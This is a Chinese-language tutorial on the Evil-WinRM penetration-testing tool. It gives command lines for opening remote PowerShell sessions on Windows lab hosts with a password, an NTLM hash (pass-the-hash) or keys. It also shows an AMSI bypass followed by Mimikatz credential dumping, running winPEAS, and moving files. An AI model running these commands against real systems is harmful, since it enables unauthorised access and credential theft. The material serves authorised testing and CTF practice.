介绍

Evil-Winrm 目的是简化 Windows 渗透测试,Evil-Winrm 使用 Powershell 远程协议 (PSRP),系统和网络管理员经常使用Windows Remote Management 协议进行上传、编辑和上传。WinRM 是一种基于 SOAP 且对防火墙友好的协议,可通过默认 HTTP 端口 5985 与 HTTP 传输一起使用。

Evil-Winrm 有很多的功能比如: 纯文本密码远程登陆、SSL 加密登陆、NTLM 哈希登陆、密钥登陆、文件传输、日志转储等,使用该工具可让我们获得目标的 Powershell 会话

官网地址 —> Github

Winrm 服务发现

我们只有当远程主机启用了 WINRM 服务时,才能使用 evil-winrm 工具,一般来说 WINRM 服务的默认端口是 5895,5896

Evil-Winrm - 图1

使用

1. 纯文本密码登陆

  1. $ evil-winrm -i 192.168.1.0 -u administrator -p admin

2. 纯文本密码登陆-启用 SSL

WinRM 服务通过 HTTP 协议传输流量,我们可以配合 SSL 确保连接安全

  1. $ evil-winrm -i 192.168.1.0 -u administrator -p admin -S

3. 使用 NTLM Hash 登陆—通过哈希攻击

在进行权限提升以及 AD 利用时,我们会比较偏向于使用 Hash 进行攻击目标

  1. $ evil-winrm -i 192.168.1.0 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

4. 加载 Powershell 脚本

Evil-Winrm 允许我们使用来自我们功能机主机的脚本

  1. evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
  2. Bypass-4MSI
  3. Invoke-Mimikatz.ps1
  4. Invoke-Mimikatz

Evil-Winrm - 图2

使用 Evil-winrm 存储日志

此功能旨在在获取远程会话后执行枚举时将日志保存到我们的本地系统。我们在玩CTF或者做实时内部渗透测试的时候,都需要保留references,以便上报。Evil-winrm 允许使用-l标志将所有日志保存到我们的基础机器中。我们可以使用 evil-winrm 进行任何远程会话并添加 -l 标志,这样它将把所有日志保存到我们的基础机器的/root/evil-winrm-logs目录中,并带有日期和 IP 地址,以后可以用作参考.

  1. evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l

Evil-Winrm - 图3

我们可以通过检查保存的日志内容来验证它,您会注意到它已经捕获了我们使用 ipconfig 命令的终端的屏幕截图。

Evil-Winrm - 图4

禁用远程路径

默认情况下,它带有远程路径完成功能,但如果我们希望禁用远程路径完成,我们可以在命令中添加-N标志。

  1. evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

Evil-Winrm - 图5

禁用彩色界面

每当我们使用 evil-winrm 建立任何远程会话时,它都会生成一个漂亮的彩色命令行界面。尽管如此,如果我们希望禁用彩色界面,那么我们也可以在建立会话时使用-n标志和我们的命令来实现。

  1. evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -n

运行可执行文件

此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件

  1. evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
  2. Bypass-4MSI
  3. menu
  4. Invoke-Binary /opt/privsc/winPEASx64.exe

Evil-Winrm - 图6

一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。

Evil-Winrm - 图7

使用 Evil-winrm 进行服务枚举

有时,许多开发后枚举工具无法检测到目标系统中运行的服务名称。在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称

Evil-Winrm - 图8

使用 Evil-winrm 进行文件传输

  1. upload /root/notes.txt .

Evil-Winrm - 图9

同样,我们可以使用下载命令和文件名将文件从目标系统下载到攻击者的机器上

  1. download notes.txt /root/raj/notes.txt

Evil-Winrm - 图10

从 Docker 使用 Evil-winrm

  1. docker run --rm -ti --name evil-winrm oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'

Evil-Winrm - 图11

使用 Evil-winrm 使用密钥登录

Evil-winrm 还允许我们使用公钥和私钥建立远程会话,使用公钥的-c标志和私钥的-k标志。此外,我们还可以添加-S标志来启用 SSL 来使我们的连接加密和安全。

  1. evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S

Evil-Winrm - 图12

参考